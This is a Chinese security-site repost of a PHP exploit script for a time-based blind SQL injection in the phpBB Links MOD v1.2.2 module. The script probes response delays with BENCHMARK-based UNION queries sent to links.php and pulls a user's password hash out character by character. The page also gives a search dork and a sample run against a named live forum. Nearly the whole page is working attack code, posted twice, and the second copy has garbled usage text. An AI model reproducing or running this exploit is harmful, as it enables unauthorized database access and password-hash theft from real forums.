phpBB Links MOD Remote Blind SQL Injection Exploit 's

admin 2017年4月15日21:28:35评论281 views字数 4564阅读15分12秒阅读模式
摘要

来源:7jdg's blog
<?php
/*
D:/usr/local/php>php test.php http://www.skypebbs.com/ -id=2

------------------------------------------------------------
phpBB Links MOD Remote Blind SQL Injection Exploit
exploit by flyh4t(cnsst.org)
bug found by Love Fly
dork:Links MOD v1.2.2 by phpBB2
------------------------------------------------------------
[~] Testing probe delays...
[+] Average nondelayed queries response time: 4.3 dsecs
[+] Average delayed queries response time: 17.3 dsecs
[~] Getting hash...
[+] Result: 3a0fd93f0834d566bb0196011bc2c327
*/
echo "------------------------------------------------------------/n";
echo "phpBB Links MOD Remote Blind SQL Injection Exploit/n";
echo "exploit by flyh4t(cnsst.org)/n";
echo "bug found by Love Fly/n";
echo "dork:Links MOD v1.2.2 by phpBB2/n";
echo "------------------------------------------------------------/n";

if ($argc<2) {
echo "USAGE:/n";
echo "~~~~~~/n";
echo "php {$argv[0]} [url] OPTIONS/n/n"
echo "[url] - target server where Vanilla is installed/n/n";
echo "OPTIONS:/n";
echo "-id=<id> - use specific user id (default 1)/n";
echo "-c=<count> - benchmark()'s loop count (default 500000)/n";
echo "tip:/n";
echo "use bigger number of <count> if server is slow/n/n";
die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",20);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
if(strpos($argv[$i],"=")!==false) {
$exploded=explode("=",$argv[$i]);
if ($exploded[0]=='-id') $id = $exploded[1];
if ($exploded[0]=='-c') $benchmark = $exploded[1];
}
elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 2;
if (!isset($benchmark)) $benchmark = 500000;
if (!isset($verbose)) $verbose=false;

$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
$query_pattern = "-99+union+select+user_password,IF(%s,BENCHMARK(%d,MD5(31337)),1)+FROM+phpbb_users+WHERE+user_id=$id/*";
print "[~] Testing probe delays.../n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i<=3;$i++){
$query = sprintf($query_pattern, "1=1", 1);
$fdelay = get($query);
if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
$query = sprintf($query_pattern, "1=1", $benchmark);
$sdelay = get($query);
if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;}
if ($sdelay<=($fdelay*2)) {$ok=false;break;}
usleep($benchmark/1000); $delay=false;
}
if ($ok) {
$nondelayed = $nodelay/3;
print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs/n";
$delayed = $withdelay/3;
print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs/n";
}
else die("[-] Exploit failed/n");
print " Getting hash...";
if ($verbose) {print "/r[~]"; print "/n";}
$hash='';
for($i=1; $i<=32; $i++) {
$chr = gethashchar($i);
if($chr!==false) $hash .= $chr;
else {
$chr = gethashchar($i);
if ($chr !==false)$hash .= $chr;
else die("/n[-] Exploit failed/n"); } }
if (!$verbose) {print "/r[~]"; print "/n";}
print "[+] Result: {$hash}/n";

function gethashchar ($pos) {
global $query_pattern,$prefix,$id,$benchmark,$verbose;
$inj = "ORD(SUBSTRING(user_password,{$pos},1))";
$query = sprintf($query_pattern, $inj.">57", $benchmark*4);
$success = condition($query);
if (!$success) {
if ($verbose) print "[v] Position {$pos}: char is [0-9]/n";
$min = 48;
$max = 57; }
else {
if ($verbose) print "[v] Position {$pos}: char is [a-f]/n";
$min = 97;
$max = 102; }
for($i=$min;$i<=$max;$i++) {
$query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
$success = condition($query);
if ($success) {
$query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);
$recheck = condition($query);
if (!$recheck) {
$chr = chr($i);
if ($verbose) print "[v] Position {$pos}: char is {$chr}/n";
return $chr;
}
}
}
return false;
}
function condition($query) {
global $delayed,$benchmark,$verbose;
for($attempt = 1; $attempt <= 10; $attempt++){
$delay = get($query,true);
if ($delay === false) {
if ($verbose) print "[v] Attempt {$attempt}: error/n";
}
else {
if ($verbose) print "[v] Attempt {$attempt}: success (delay is {$delay} dsecs)/n"; break;
}
}
if ($attempt == 11) die("[-] Exploit failed/n");
if($delay > ($delayed * 2)) {
usleep(($benchmark*4)/1000);
return true; }
return false;
}function get($query,$gethash=false) {
global $host,$port,$path,$verbose;
if ($gethash&&!$verbose) status();
$start = getmicrotime();
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) return false;
else {
$packet = "GET {$path}links.php?t=sub_pages&cat={$query} HTTP/1.0";
$packet .= "Host: {$host}";
$packet .= "User-Agent: InAttack User Agent";
$packet .= "Connection: Close";
fputs($ock, $packet);
$html='';
while (!feof($ock)) $html.=fgets($ock);
$end = getmicrotime();
}
return intval(($end-$start)*10);
}
function status() {
static $n;
$n++;
if ($n > 3) $n = 0;
if($n==0){ print "/r[-]/r"; }

if($n==1){ print "/r[//]/r";}
if($n==2){ print "/r[|]/r"; }
if($n==3){ print "/r[/]/r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?>

来源:7jdg's blog


<?php
/*
D:/usr/local/php>php test.php http://www.skypebbs.com/ -id=2

------------------------------------------------------------
phpBB Links MOD Remote Blind SQL Injection Exploit
exploit by flyh4t(cnsst.org)
bug found by Love Fly
dork:Links MOD v1.2.2 by phpBB2
------------------------------------------------------------
[~] Testing probe delays...
[+] Average nondelayed queries response time: 4.3 dsecs
[+] Average delayed queries response time: 17.3 dsecs
[~] Getting hash...
[+] Result: 3a0fd93f0834d566bb0196011bc2c327
*/
echo "------------------------------------------------------------/n";
echo "phpBB Links MOD Remote Blind SQL Injection Exploit/n";
echo "exploit by flyh4t(cnsst.org)/n";
echo "bug found by Love Fly/n";
echo "dork:Links MOD v1.2.2 by phpBB2/n";
echo "------------------------------------------------------------/n";

if ($argc<2) {
echo "USAGE:/n";
echo "~~~~~~/n";
echo "php {$argv[0]}

OPTIONS/n/n"
echo "
- target server where Vanilla is installed/n/n";
echo "OPTIONS:/n";
echo "-id=<id> - use specific user id (default 1)/n";
echo "-c=<count> - benchmark()'s loop count (default 500000)/n";
echo "tip:/n";
echo "use bigger number of <count> if server is slow/n/n";
die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",20);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
if(strpos($argv[$i],"=")!==false) {
$exploded=explode("=",$argv[$i]);
if ($exploded[0]=='-id') $id = $exploded[1];
if ($exploded[0]=='-c') $benchmark = $exploded[1];
}
elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 2;
if (!isset($benchmark)) $benchmark = 500000;
if (!isset($verbose)) $verbose=false;

$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
$query_pattern = "-99+union+select+user_password,IF(%s,BENCHMARK(%d,MD5(31337)),1)+FROM+phpbb_users+WHERE+user_id=$id/*";
print "[~] Testing probe delays.../n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i<=3;$i++){
$query = sprintf($query_pattern, "1=1", 1);
$fdelay = get($query);
if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
$query = sprintf($query_pattern, "1=1", $benchmark);
$sdelay = get($query);
if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;}
if ($sdelay<=($fdelay*2)) {$ok=false;break;}
usleep($benchmark/1000); $delay=false;
}
if ($ok) {
$nondelayed = $nodelay/3;
print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs/n";
$delayed = $withdelay/3;
print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs/n";
}
else die("[-] Exploit failed/n");
print " Getting hash...";
if ($verbose) {print "/r[~]"; print "/n";}
$hash='';
for($i=1; $i<=32; $i++) {
$chr = gethashchar($i);
if($chr!==false) $hash .= $chr;
else {
$chr = gethashchar($i);
if ($chr !==false)$hash .= $chr;
else die("/n[-] Exploit failed/n"); } }
if (!$verbose) {print "/r[~]"; print "/n";}
print "[+] Result: {$hash}/n";

function gethashchar ($pos) {
global $query_pattern,$prefix,$id,$benchmark,$verbose;
$inj = "ORD(SUBSTRING(user_password,{$pos},1))";
$query = sprintf($query_pattern, $inj.">57", $benchmark*4);
$success = condition($query);
if (!$success) {
if ($verbose) print "[v] Position {$pos}: char is [0-9]/n";
$min = 48;
$max = 57; }
else {
if ($verbose) print "[v] Position {$pos}: char is [a-f]/n";
$min = 97;
$max = 102; }
for($i=$min;$i<=$max;$i++) {
$query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
$success = condition($query);
if ($success) {
$query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);
$recheck = condition($query);
if (!$recheck) {
$chr = chr($i);
if ($verbose) print "[v] Position {$pos}: char is {$chr}/n";
return $chr;
}
}
}
return false;
}
function condition($query) {
global $delayed,$benchmark,$verbose;
for($attempt = 1; $attempt <= 10; $attempt++){
$delay = get($query,true);
if ($delay === false) {
if ($verbose) print "[v] Attempt {$attempt}: error/n";
}
else {
if ($verbose) print "[v] Attempt {$attempt}: success (delay is {$delay} dsecs)/n"; break;
}
}
if ($attempt == 11) die("[-] Exploit failed/n");
if($delay > ($delayed * 2)) {
usleep(($benchmark*4)/1000);
return true; }
return false;
}function get($query,$gethash=false) {
global $host,$port,$path,$verbose;
if ($gethash&&!$verbose) status();
$start = getmicrotime();
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) return false;
else {
$packet = "GET {$path}links.php?t=sub_pages&cat={$query} HTTP/1.0";
$packet .= "Host: {$host}";
$packet .= "User-Agent: InAttack User Agent";
$packet .= "Connection: Close";
fputs($ock, $packet);
$html='';
while (!feof($ock)) $html.=fgets($ock);
$end = getmicrotime();
}
return intval(($end-$start)*10);
}
function status() {
static $n;
$n++;
if ($n > 3) $n = 0;
if($n==0){ print "/r[-]/r"; }

if($n==1){ print "/r[//]/r";}
if($n==2){ print "/r[|]/r"; }
if($n==3){ print "/r[/]/r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?>

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月15日21:28:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpBB Links MOD Remote Blind SQL Injection Exploit 'shttps://cn-sec.com/archives/46742.html

发表评论

匿名网友 填写信息